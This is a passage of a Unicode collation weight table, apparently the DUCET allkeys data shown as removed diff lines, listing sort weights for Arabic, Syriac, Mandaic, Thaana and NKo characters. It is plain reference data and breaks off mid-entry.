ARABIC LETTER MEEM WITH DOT ABOVE -0766 ; [.23A5.0020.0002] # ARABIC LETTER MEEM WITH DOT BELOW -08A7 ; [.23A6.0020.0002] # ARABIC LETTER MEEM WITH THREE DOTS ABOVE -0646 ; [.23A7.0020.0002] # ARABIC LETTER NOON -1EE0D ; [.23A7.0020.0005] # ARABIC MATHEMATICAL NOON -1EE2D ; [.23A7.0020.0005] # ARABIC MATHEMATICAL INITIAL NOON -1EE4D ; [.23A7.0020.0005] # ARABIC MATHEMATICAL TAILED NOON -1EE6D ; [.23A7.0020.0005] # ARABIC MATHEMATICAL STRETCHED NOON -1EE8D ; [.23A7.0020.0005] # ARABIC MATHEMATICAL LOOPED NOON -1EEAD ; [.23A7.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK NOON -FEE7 ; [.23A7.0020.0017] # ARABIC LETTER NOON INITIAL FORM -FEE8 ; [.23A7.0020.0018] # ARABIC LETTER NOON MEDIAL FORM -FEE6 ; [.23A7.0020.0019] # ARABIC LETTER NOON FINAL FORM -FEE5 ; [.23A7.0020.001A] # ARABIC LETTER NOON ISOLATED FORM -FCD2 ; [.23A7.0020.0017][.2325.0020.0017] # ARABIC LIGATURE NOON WITH JEEM INITIAL FORM -FC4B ; [.23A7.0020.001A][.2325.0020.001A] # ARABIC LIGATURE NOON WITH JEEM ISOLATED FORM -FDB8 ; [.23A7.0020.0017][.2325.0020.0017][.232C.0020.0017] # ARABIC LIGATURE NOON WITH JEEM WITH HAH INITIAL FORM -FDBD ; [.23A7.0020.0019][.2325.0020.0019][.232C.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH HAH FINAL FORM -FD98 ; [.23A7.0020.0017][.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE NOON WITH JEEM WITH MEEM INITIAL FORM -FD97 ; [.23A7.0020.0019][.2325.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH MEEM FINAL FORM -FD99 ; [.23A7.0020.0019][.2325.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH ALEF MAKSURA FINAL FORM -FDC7 ; [.23A7.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM -FCD3 ; [.23A7.0020.0017][.232C.0020.0017] # ARABIC LIGATURE NOON WITH HAH INITIAL FORM -FC4C ; [.23A7.0020.001A][.232C.0020.001A] # ARABIC LIGATURE NOON WITH HAH ISOLATED FORM -FD95 ; [.23A7.0020.0017][.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE NOON WITH HAH WITH MEEM INITIAL FORM -FD96 ; [.23A7.0020.0019][.232C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE NOON WITH HAH WITH ALEF MAKSURA FINAL FORM -FDB3 ; [.23A7.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE NOON WITH HAH WITH YEH FINAL FORM -FCD4 ; [.23A7.0020.0017][.232D.0020.0017] # ARABIC LIGATURE NOON WITH KHAH INITIAL FORM -FC4D ; [.23A7.0020.001A][.232D.0020.001A] # ARABIC LIGATURE NOON WITH KHAH ISOLATED FORM -FC8A ; [.23A7.0020.0019][.2346.0020.0019] # ARABIC LIGATURE NOON WITH REH FINAL FORM -FC8B ; [.23A7.0020.0019][.2347.0020.0019] # ARABIC LIGATURE NOON WITH ZAIN FINAL FORM -FCD5 ; [.23A7.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE NOON WITH MEEM INITIAL FORM -FCEE ; [.23A7.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE NOON WITH MEEM MEDIAL FORM -FC8C ; [.23A7.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE NOON WITH MEEM FINAL FORM -FC4E ; [.23A7.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE NOON WITH MEEM ISOLATED FORM -FD9B ; [.23A7.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE NOON WITH MEEM WITH ALEF MAKSURA FINAL FORM -FD9A ; [.23A7.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE NOON WITH MEEM WITH YEH FINAL FORM -FC8D ; [.23A7.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE NOON WITH NOON FINAL FORM -FCD6 ; [.23A7.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE NOON WITH HEH INITIAL FORM -FCEF ; [.23A7.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE NOON WITH HEH MEDIAL FORM -FC8E ; [.23A7.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE NOON WITH ALEF MAKSURA FINAL FORM -FC4F ; [.23A7.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE NOON WITH ALEF MAKSURA ISOLATED FORM -FC8F ; [.23A7.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE NOON WITH YEH FINAL FORM -FC50 ; [.23A7.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE NOON WITH YEH ISOLATED FORM -06BA ; [.23A8.0020.0002] # ARABIC LETTER NOON GHUNNA -1EE1D ; [.23A8.0020.0005] # ARABIC MATHEMATICAL DOTLESS NOON -1EE5D ; [.23A8.0020.0005] # ARABIC MATHEMATICAL TAILED DOTLESS NOON -FB9F ; [.23A8.0020.0019] # ARABIC LETTER NOON GHUNNA FINAL FORM -FB9E ; [.23A8.0020.001A] # ARABIC LETTER NOON GHUNNA ISOLATED FORM -08BD ; [.23A9.0020.0002] # ARABIC LETTER AFRICAN NOON -06BB ; [.23AA.0020.0002] # ARABIC LETTER RNOON -FBA2 ; [.23AA.0020.0017] # ARABIC LETTER RNOON INITIAL FORM -FBA3 ; [.23AA.0020.0018] # ARABIC LETTER RNOON MEDIAL FORM -FBA1 ; [.23AA.0020.0019] # ARABIC LETTER RNOON FINAL FORM -FBA0 ; [.23AA.0020.001A] # ARABIC LETTER RNOON ISOLATED FORM -06BC ; [.23AB.0020.0002] # ARABIC LETTER NOON WITH RING -06BD ; [.23AC.0020.0002] # ARABIC LETTER NOON WITH THREE DOTS ABOVE -06B9 ; [.23AD.0020.0002] # ARABIC LETTER NOON WITH DOT BELOW -0767 ; [.23AE.0020.0002] # ARABIC LETTER NOON WITH TWO DOTS BELOW -0768 ; [.23AF.0020.0002] # ARABIC LETTER NOON WITH SMALL TAH -0769 ; [.23B0.0020.0002] # ARABIC LETTER NOON WITH SMALL V -0647 ; [.23B1.0020.0002] # ARABIC LETTER HEH -1EE24 ; [.23B1.0020.0005] # ARABIC MATHEMATICAL INITIAL HEH -1EE64 ; [.23B1.0020.0005] # ARABIC MATHEMATICAL STRETCHED HEH -1EE84 ; [.23B1.0020.0005] # ARABIC MATHEMATICAL LOOPED HEH -FEEB ; [.23B1.0020.0017] # ARABIC LETTER HEH INITIAL FORM -FEEC ; [.23B1.0020.0018] # ARABIC LETTER HEH MEDIAL FORM -FEEA ; [.23B1.0020.0019] # ARABIC LETTER HEH FINAL FORM -FEE9 ; [.23B1.0020.001A] # ARABIC LETTER HEH ISOLATED FORM -FCD9 ; [.23B1.0020.0017][.0000.0098.0017] # ARABIC LIGATURE HEH WITH SUPERSCRIPT ALEF INITIAL FORM -FCD7 ; [.23B1.0020.0017][.2325.0020.0017] # ARABIC LIGATURE HEH WITH JEEM INITIAL FORM -FC51 ; [.23B1.0020.001A][.2325.0020.001A] # ARABIC LIGATURE HEH WITH JEEM ISOLATED FORM -FCD8 ; [.23B1.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE HEH WITH MEEM INITIAL FORM -FC52 ; [.23B1.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE HEH WITH MEEM ISOLATED FORM -FD93 ; [.23B1.0020.0017][.23A3.0020.0017][.2325.0020.0017] # ARABIC LIGATURE HEH WITH MEEM WITH JEEM INITIAL FORM -FD94 ; [.23B1.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE HEH WITH MEEM WITH MEEM INITIAL FORM -FC53 ; [.23B1.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE HEH WITH ALEF MAKSURA ISOLATED FORM -FC54 ; [.23B1.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE HEH WITH YEH ISOLATED FORM -06BE ; [.23B2.0020.0002] # ARABIC LETTER HEH DOACHASHMEE -FBAC ; [.23B2.0020.0017] # ARABIC LETTER HEH DOACHASHMEE INITIAL FORM -FBAD ; [.23B2.0020.0018] # ARABIC LETTER HEH DOACHASHMEE MEDIAL FORM -FBAB ; [.23B2.0020.0019] # ARABIC LETTER HEH DOACHASHMEE FINAL FORM -FBAA ; [.23B2.0020.001A] # ARABIC LETTER HEH DOACHASHMEE ISOLATED FORM -06C1 ; [.23B3.0020.0002] # ARABIC LETTER HEH GOAL -FBA8 ; [.23B3.0020.0017] # ARABIC LETTER HEH GOAL INITIAL FORM -FBA9 ; [.23B3.0020.0018] # ARABIC LETTER HEH GOAL MEDIAL FORM -FBA7 ; [.23B3.0020.0019] # ARABIC LETTER HEH GOAL FINAL FORM -FBA6 ; [.23B3.0020.001A] # ARABIC LETTER HEH GOAL ISOLATED FORM -06C2 ; [.23B3.0020.0002][.0000.0083.0002] # ARABIC LETTER HEH GOAL WITH HAMZA ABOVE -06C3 ; [.23B4.0020.0002] # ARABIC LETTER TEH MARBUTA GOAL -06FF ; [.23B5.0020.0002] # ARABIC LETTER HEH WITH INVERTED V -06D5 ; [.23B6.0020.0002] # ARABIC LETTER AE -06C0 ; [.23B6.0020.0002][.0000.0083.0002] # ARABIC LETTER HEH WITH YEH ABOVE -FBA5 ; [.23B6.0020.0019][.0000.0083.0019] # ARABIC LETTER HEH WITH YEH ABOVE FINAL FORM -FBA4 ; [.23B6.0020.001A][.0000.0083.001A] # ARABIC LETTER HEH WITH YEH ABOVE ISOLATED FORM -0648 ; [.23B7.0020.0002] # ARABIC LETTER WAW -06E5 ; [.23B7.0020.0004] # ARABIC SMALL WAW -1EE05 ; [.23B7.0020.0005] # ARABIC MATHEMATICAL WAW -1EE85 ; [.23B7.0020.0005] # ARABIC MATHEMATICAL LOOPED WAW -1EEA5 ; [.23B7.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK WAW -FEEE ; [.23B7.0020.0019] # ARABIC LETTER WAW FINAL FORM -FEED ; [.23B7.0020.001A] # ARABIC LETTER WAW ISOLATED FORM -0676 ; [.23B7.0020.0004][.22FD.0020.0004] # ARABIC LETTER HIGH HAMZA WAW -FDF8 ; [.23B7.0020.001A][.2359.0020.001A][.239C.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE WASALLAM ISOLATED FORM -06C4 ; [.23B8.0020.0002] # ARABIC LETTER WAW WITH RING -06C5 ; [.23B9.0020.0002] # ARABIC LETTER KIRGHIZ OE -FBE1 ; [.23B9.0020.0019] # ARABIC LETTER KIRGHIZ OE FINAL FORM -FBE0 ; [.23B9.0020.001A] # ARABIC LETTER KIRGHIZ OE ISOLATED FORM -06C6 ; [.23BA.0020.0002] # ARABIC LETTER OE -FBDA ; [.23BA.0020.0019] # ARABIC LETTER OE FINAL FORM -FBD9 ; [.23BA.0020.001A] # ARABIC LETTER OE ISOLATED FORM -06C7 ; [.23BB.0020.0002] # ARABIC LETTER U -FBD8 ; [.23BB.0020.0019] # ARABIC LETTER U FINAL FORM -FBD7 ; [.23BB.0020.001A] # ARABIC LETTER U ISOLATED FORM -0677 ; [.23BB.0020.0004][.22FD.0020.0004] # ARABIC LETTER U WITH HAMZA ABOVE -FBDD ; [.23BB.0020.001A][.22FD.0020.001A] # ARABIC LETTER U WITH HAMZA ABOVE ISOLATED FORM -06C8 ; [.23BC.0020.0002] # ARABIC LETTER YU -FBDC ; [.23BC.0020.0019] # ARABIC LETTER YU FINAL FORM -FBDB ; [.23BC.0020.001A] # ARABIC LETTER YU ISOLATED FORM -06C9 ; [.23BD.0020.0002] # ARABIC LETTER KIRGHIZ YU -FBE3 ; [.23BD.0020.0019] # ARABIC LETTER KIRGHIZ YU FINAL FORM -FBE2 ; [.23BD.0020.001A] # ARABIC LETTER KIRGHIZ YU ISOLATED FORM -06CA ; [.23BE.0020.0002] # ARABIC LETTER WAW WITH TWO DOTS ABOVE -06CB ; [.23BF.0020.0002] # ARABIC LETTER VE -FBDF ; [.23BF.0020.0019] # ARABIC LETTER VE FINAL FORM -FBDE ; [.23BF.0020.001A] # ARABIC LETTER VE ISOLATED FORM -08B1 ; [.23C0.0020.0002] # ARABIC LETTER STRAIGHT WAW -06CF ; [.23C1.0020.0002] # ARABIC LETTER WAW WITH DOT ABOVE -0778 ; [.23C2.0020.0002] # ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE -0779 ; [.23C3.0020.0002] # ARABIC LETTER WAW WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE -08AB ; [.23C4.0020.0002] # ARABIC LETTER WAW WITH DOT WITHIN -0649 ; [.23C5.0020.0002] # ARABIC LETTER ALEF MAKSURA -FBE8 ; [.23C5.0020.0017] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM -FBE9 ; [.23C5.0020.0018] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM -FEF0 ; [.23C5.0020.0019] # ARABIC LETTER ALEF MAKSURA FINAL FORM -FEEF ; [.23C5.0020.001A] # ARABIC LETTER ALEF MAKSURA ISOLATED FORM -FC90 ; [.23C5.0020.0019][.0000.0098.0019] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM -FC5D ; [.23C5.0020.001A][.0000.0098.001A] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM -064A ; [.23C6.0020.0002] # ARABIC LETTER YEH -06E6 ; [.23C6.0020.0004] # ARABIC SMALL YEH -1EE09 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL YEH -1EE29 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL INITIAL YEH -1EE49 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL TAILED YEH -1EE69 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL STRETCHED YEH -1EE89 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL LOOPED YEH -1EEA9 ; [.23C6.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK YEH -FEF3 ; [.23C6.0020.0017] # ARABIC LETTER YEH INITIAL FORM -FEF4 ; [.23C6.0020.0018] # ARABIC LETTER YEH MEDIAL FORM -FEF2 ; [.23C6.0020.0019] # ARABIC LETTER YEH FINAL FORM -FEF1 ; [.23C6.0020.001A] # ARABIC LETTER YEH ISOLATED FORM -0678 ; [.23C6.0020.0004][.22FD.0020.0004] # ARABIC LETTER HIGH HAMZA YEH -FCDA ; [.23C6.0020.0017][.2325.0020.0017] # ARABIC LIGATURE YEH WITH JEEM INITIAL FORM -FC55 ; [.23C6.0020.001A][.2325.0020.001A] # ARABIC LIGATURE YEH WITH JEEM ISOLATED FORM -FDAF ; [.23C6.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE YEH WITH JEEM WITH YEH FINAL FORM -FCDB ; [.23C6.0020.0017][.232C.0020.0017] # ARABIC LIGATURE YEH WITH HAH INITIAL FORM -FC56 ; [.23C6.0020.001A][.232C.0020.001A] # ARABIC LIGATURE YEH WITH HAH ISOLATED FORM -FDAE ; [.23C6.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE YEH WITH HAH WITH YEH FINAL FORM -FCDC ; [.23C6.0020.0017][.232D.0020.0017] # ARABIC LIGATURE YEH WITH KHAH INITIAL FORM -FC57 ; [.23C6.0020.001A][.232D.0020.001A] # ARABIC LIGATURE YEH WITH KHAH ISOLATED FORM -FC91 ; [.23C6.0020.0019][.2346.0020.0019] # ARABIC LIGATURE YEH WITH REH FINAL FORM -FC92 ; [.23C6.0020.0019][.2347.0020.0019] # ARABIC LIGATURE YEH WITH ZAIN FINAL FORM -FCDD ; [.23C6.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE YEH WITH MEEM INITIAL FORM -FCF0 ; [.23C6.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE YEH WITH MEEM MEDIAL FORM -FC93 ; [.23C6.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE YEH WITH MEEM FINAL FORM -FC58 ; [.23C6.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE YEH WITH MEEM ISOLATED FORM -FD9D ; [.23C6.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE YEH WITH MEEM WITH MEEM INITIAL FORM -FD9C ; [.23C6.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE YEH WITH MEEM WITH MEEM FINAL FORM -FDB0 ; [.23C6.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE YEH WITH MEEM WITH YEH FINAL FORM -FC94 ; [.23C6.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE YEH WITH NOON FINAL FORM -FCDE ; [.23C6.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE YEH WITH HEH INITIAL FORM -FCF1 ; [.23C6.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE YEH WITH HEH MEDIAL FORM -FC95 ; [.23C6.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE YEH WITH ALEF MAKSURA FINAL FORM -FC59 ; [.23C6.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE YEH WITH ALEF MAKSURA ISOLATED FORM -FC96 ; [.23C6.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE YEH WITH YEH FINAL FORM -FC5A ; [.23C6.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE YEH WITH YEH ISOLATED FORM -06CC ; [.23C7.0020.0002] # ARABIC LETTER FARSI YEH -FBFE ; [.23C7.0020.0017] # ARABIC LETTER FARSI YEH INITIAL FORM -FBFF ; [.23C7.0020.0018] # ARABIC LETTER FARSI YEH MEDIAL FORM -FBFD ; [.23C7.0020.0019] # ARABIC LETTER FARSI YEH FINAL FORM -FBFC ; [.23C7.0020.001A] # ARABIC LETTER FARSI YEH ISOLATED FORM -06CD ; [.23C8.0020.0002] # ARABIC LETTER YEH WITH TAIL -06CE ; [.23C9.0020.0002] # ARABIC LETTER YEH WITH SMALL V -06D0 ; [.23CA.0020.0002] # ARABIC LETTER E -FBE6 ; [.23CA.0020.0017] # ARABIC LETTER E INITIAL FORM -FBE7 ; [.23CA.0020.0018] # ARABIC LETTER E MEDIAL FORM -FBE5 ; [.23CA.0020.0019] # ARABIC LETTER E FINAL FORM -FBE4 ; [.23CA.0020.001A] # ARABIC LETTER E ISOLATED FORM -06D1 ; [.23CB.0020.0002] # ARABIC LETTER YEH WITH THREE DOTS BELOW -063D ; [.23CC.0020.0002] # ARABIC LETTER FARSI YEH WITH INVERTED V -063E ; [.23CD.0020.0002] # ARABIC LETTER FARSI YEH WITH TWO DOTS ABOVE -063F ; [.23CE.0020.0002] # ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE -0620 ; [.23CF.0020.0002] # ARABIC LETTER KASHMIRI YEH -0775 ; [.23D0.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE -0776 ; [.23D1.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE -0777 ; [.23D2.0020.0002] # ARABIC LETTER FARSI YEH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW -08BA ; [.23D3.0020.0002] # ARABIC LETTER YEH WITH TWO DOTS BELOW AND SMALL NOON ABOVE -06D2 ; [.23D4.0020.0002] # ARABIC LETTER YEH BARREE -FBAF ; [.23D4.0020.0019] # ARABIC LETTER YEH BARREE FINAL FORM -FBAE ; [.23D4.0020.001A] # ARABIC LETTER YEH BARREE ISOLATED FORM -06D3 ; [.23D4.0020.0002][.0000.0083.0002] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE -FBB1 ; [.23D4.0020.0019][.0000.0083.0019] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM -FBB0 ; [.23D4.0020.001A][.0000.0083.001A] # ARABIC LETTER YEH BARREE WITH HAMZA ABOVE ISOLATED FORM -077A ; [.23D5.0020.0002] # ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE -077B ; [.23D6.0020.0002] # ARABIC LETTER YEH BARREE WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE -0710 ; [.23D7.0020.0002] # SYRIAC LETTER ALAPH -0712 ; [.23D8.0020.0002] # SYRIAC LETTER BETH -072D ; [.23D8.0020.0004][.0000.0112.0004] # SYRIAC LETTER PERSIAN BHETH -0713 ; [.23D9.0020.0002] # SYRIAC LETTER GAMAL -0714 ; [.23D9.0020.0004][.0000.0111.0004] # SYRIAC LETTER GAMAL GARSHUNI -072E ; [.23D9.0020.0004][.0000.0112.0004] # SYRIAC LETTER PERSIAN GHAMAL -0716 ; [.23DA.0020.0002] # SYRIAC LETTER DOTLESS DALATH RISH -0715 ; [.23DB.0020.0002] # SYRIAC LETTER DALATH -072F ; [.23DB.0020.0004][.0000.0112.0004] # SYRIAC LETTER PERSIAN DHALATH -0717 ; [.23DC.0020.0002] # SYRIAC LETTER HE -0718 ; [.23DD.0020.0002] # SYRIAC LETTER WAW -0719 ; [.23DE.0020.0002] # SYRIAC LETTER ZAIN -074D ; [.23DF.0020.0002] # SYRIAC LETTER SOGDIAN ZHAIN -071A ; [.23E0.0020.0002] # SYRIAC LETTER HETH -071B ; [.23E1.0020.0002] # SYRIAC LETTER TETH -071C ; [.23E1.0020.0004][.0000.0111.0004] # SYRIAC LETTER TETH GARSHUNI -071D ; [.23E2.0020.0002] # SYRIAC LETTER YUDH -071E ; [.23E3.0020.0002] # SYRIAC LETTER YUDH HE -071F ; [.23E4.0020.0002] # SYRIAC LETTER KAPH -074E ; [.23E5.0020.0002] # SYRIAC LETTER SOGDIAN KHAPH -0720 ; [.23E6.0020.0002] # SYRIAC LETTER LAMADH -0721 ; [.23E7.0020.0002] # SYRIAC LETTER MIM -0722 ; [.23E8.0020.0002] # SYRIAC LETTER NUN -0723 ; [.23E9.0020.0002] # SYRIAC LETTER SEMKATH -0724 ; [.23E9.0020.0019] # SYRIAC LETTER FINAL SEMKATH -0725 ; [.23EA.0020.0002] # SYRIAC LETTER E -0726 ; [.23EB.0020.0002] # SYRIAC LETTER PE -0727 ; [.23EB.0020.0004][.0000.0111.0004] # SYRIAC LETTER REVERSED PE -074F ; [.23EC.0020.0002] # SYRIAC LETTER SOGDIAN FE -0728 ; [.23ED.0020.0002] # SYRIAC LETTER SADHE -0729 ; [.23EE.0020.0002] # SYRIAC LETTER QAPH -072A ; [.23EF.0020.0002] # SYRIAC LETTER RISH -072B ; [.23F0.0020.0002] # SYRIAC LETTER SHIN -072C ; [.23F1.0020.0002] # SYRIAC LETTER TAW -0840 ; [.23F2.0020.0002] # MANDAIC LETTER HALQA -0841 ; [.23F3.0020.0002] # MANDAIC LETTER AB -0842 ; [.23F4.0020.0002] # MANDAIC LETTER AG -0843 ; [.23F5.0020.0002] # MANDAIC LETTER AD -0844 ; [.23F6.0020.0002] # MANDAIC LETTER AH -0845 ; [.23F7.0020.0002] # MANDAIC LETTER USHENNA -0846 ; [.23F8.0020.0002] # MANDAIC LETTER AZ -0847 ; [.23F9.0020.0002] # MANDAIC LETTER IT -0848 ; [.23FA.0020.0002] # MANDAIC LETTER ATT -0849 ; [.23FB.0020.0002] # MANDAIC LETTER AKSA -084A ; [.23FC.0020.0002] # MANDAIC LETTER AK -084B ; [.23FD.0020.0002] # MANDAIC LETTER AL -084C ; [.23FE.0020.0002] # MANDAIC LETTER AM -084D ; [.23FF.0020.0002] # MANDAIC LETTER AN -084E ; [.2400.0020.0002] # MANDAIC LETTER AS -084F ; [.2401.0020.0002] # MANDAIC LETTER IN -0850 ; [.2402.0020.0002] # MANDAIC LETTER AP -0851 ; [.2403.0020.0002] # MANDAIC LETTER ASZ -0852 ; [.2404.0020.0002] # MANDAIC LETTER AQ -0853 ; [.2405.0020.0002] # MANDAIC LETTER AR -0854 ; [.2406.0020.0002] # MANDAIC LETTER ASH -0855 ; [.2407.0020.0002] # MANDAIC LETTER AT -0856 ; [.2408.0020.0002] # MANDAIC LETTER DUSHENNA -0857 ; [.2409.0020.0002] # MANDAIC LETTER KAD -0858 ; [.240A.0020.0002] # MANDAIC LETTER AIN -0780 ; [.240B.0020.0002] # THAANA LETTER HAA -0799 ; [.240C.0020.0002] # THAANA LETTER HHAA -079A ; [.240D.0020.0002] # THAANA LETTER KHAA -0781 ; [.240E.0020.0002] # THAANA LETTER SHAVIYANI -0782 ; [.240F.0020.0002] # THAANA LETTER NOONU -0783 ; [.2410.0020.0002] # THAANA LETTER RAA -079C ; [.2411.0020.0002] # THAANA LETTER ZAA -0784 ; [.2412.0020.0002] # THAANA LETTER BAA -0785 ; [.2413.0020.0002] # THAANA LETTER LHAVIYANI -0786 ; [.2414.0020.0002] # THAANA LETTER KAAFU -0787 ; [.2415.0020.0002] # THAANA LETTER ALIFU -07A2 ; [.2416.0020.0002] # THAANA LETTER AINU -07A3 ; [.2417.0020.0002] # THAANA LETTER GHAINU -0788 ; [.2418.0020.0002] # THAANA LETTER VAAVU -07A5 ; [.2419.0020.0002] # THAANA LETTER WAAVU -0789 ; [.241A.0020.0002] # THAANA LETTER MEEMU -078A ; [.241B.0020.0002] # THAANA LETTER FAAFU -078B ; [.241C.0020.0002] # THAANA LETTER DHAALU -079B ; [.241D.0020.0002] # THAANA LETTER THAALU -078C ; [.241E.0020.0002] # THAANA LETTER THAA -0798 ; [.241F.0020.0002] # THAANA LETTER TTAA -07A0 ; [.2420.0020.0002] # THAANA LETTER TO -07A1 ; [.2421.0020.0002] # THAANA LETTER ZO -078D ; [.2422.0020.0002] # THAANA LETTER LAAMU -078E ; [.2423.0020.0002] # THAANA LETTER GAAFU -07A4 ; [.2424.0020.0002] # THAANA LETTER QAAFU -078F ; [.2425.0020.0002] # THAANA LETTER GNAVIYANI -0790 ; [.2426.0020.0002] # THAANA LETTER SEENU -079D ; [.2427.0020.0002] # THAANA LETTER SHEENU -079E ; [.2428.0020.0002] # THAANA LETTER SAADHU -079F ; [.2429.0020.0002] # THAANA LETTER DAADHU -0791 ; [.242A.0020.0002] # THAANA LETTER DAVIYANI -0792 ; [.242B.0020.0002] # THAANA LETTER ZAVIYANI -0793 ; [.242C.0020.0002] # THAANA LETTER TAVIYANI -0794 ; [.242D.0020.0002] # THAANA LETTER YAA -0795 ; [.242E.0020.0002] # THAANA LETTER PAVIYANI -0796 ; [.242F.0020.0002] # THAANA LETTER JAVIYANI -0797 ; [.2430.0020.0002] # THAANA LETTER CHAVIYANI -07B1 ; [.2431.0020.0002] # THAANA LETTER NAA -07A6 ; [.2432.0020.0002] # THAANA ABAFILI -07A7 ; [.2433.0020.0002] # THAANA AABAAFILI -07A8 ; [.2434.0020.0002] # THAANA IBIFILI -07A9 ; [.2435.0020.0002] # THAANA EEBEEFILI -07AA ; [.2436.0020.0002] # THAANA UBUFILI -07AB ; [.2437.0020.0002] # THAANA OOBOOFILI -07AC ; [.2438.0020.0002] # THAANA EBEFILI -07AD ; [.2439.0020.0002] # THAANA EYBEYFILI -07AE ; [.243A.0020.0002] # THAANA OBOFILI -07AF ; [.243B.0020.0002] # THAANA OABOAFILI -07B0 ; [.243C.0020.0002] # THAANA SUKUN -07CA ; [.243D.0020.0002] # NKO LETTER A -07CB ; [.243E.0020.0002] # NKO LETTER EE -07CC ; [.243F.0020.0002] # NKO LETTER I -07CD ; [.2440.0020.0002] # NKO LETTER E -07CE ; [.2441.0020.0002] # NKO LETTER U -07CF ; [.2442.0020.0002] # NKO LETTER OO -07D0 ; [.2443.0020.0002] # NKO LETTER O -07D1 ; [.2444.0020.0002] # NKO LETTER DAGBASINNA -07D2 ; [.2445.0020.0002] # NKO LETTER N -07D3 ; [.2446.0020.0002] # NKO LETTER BA -07D4 ; [.2447.0020.0002] # NKO LETTER PA -07D5 ; [.2448.0020.0002] # NKO LETTER TA -07D6 ; [.2449.0020.0002] # NKO LETTER JA -07E8 ; [.2449.0020.0004][.0000.0110.0004] # NKO LETTER JONA JA -07D7 ; [.244A.0020.0002] # NKO LETTER CHA -07E9 ; [.244A.0020.0004][.0000.0110.0004] # NKO LETTER JONA CHA -07D8 ; [.244B.0020.0002] # NKO LETTER DA -07D9 ; [.244C.0020.0002] # NKO LETTER RA -07EA ; [.244C.0020.0004][.0000.0110.0004] # NKO LETTER JONA RA -07DA ; [.244D.0020.0002] # NKO LETTER RRA -07DB ; [.244E.0020.0002] # NKO LETTER SA -07DC ; [.244F.0020.0002] # NKO LETTER GBA -07DD ; [.2450.0020.0002] # NKO LETTER FA -07DE ; [.2451.0020.0002] # NKO LETTER KA -07DF ; [.2452.0020.0002] # NKO LETTER LA -07E0 ; [.2453.0020.0002] # NKO LETTER NA WOLOSO -07E1 ; [.2454.0020.0002] # NKO LETTER MA -07E2 ; [.2455.0020.0002] # NKO LETTER NYA -07E3 ; [.2456.0020.0002] # NKO LETTER NA -07E4 ; [.2457.0020.0002] # NKO LETTER HA -07E5 ; [.2458.0020.0002] # NKO LETTER WA -07E6 ; [.2459.0020.0002] # NKO LETTER YA -07E7 ; [.245A.0020.0002] # NKO LETTER NYA WOLOSO -07F4 ; [.245B.0020.0002] # NKO HIGH TONE APOSTROPHE -07F5 ; 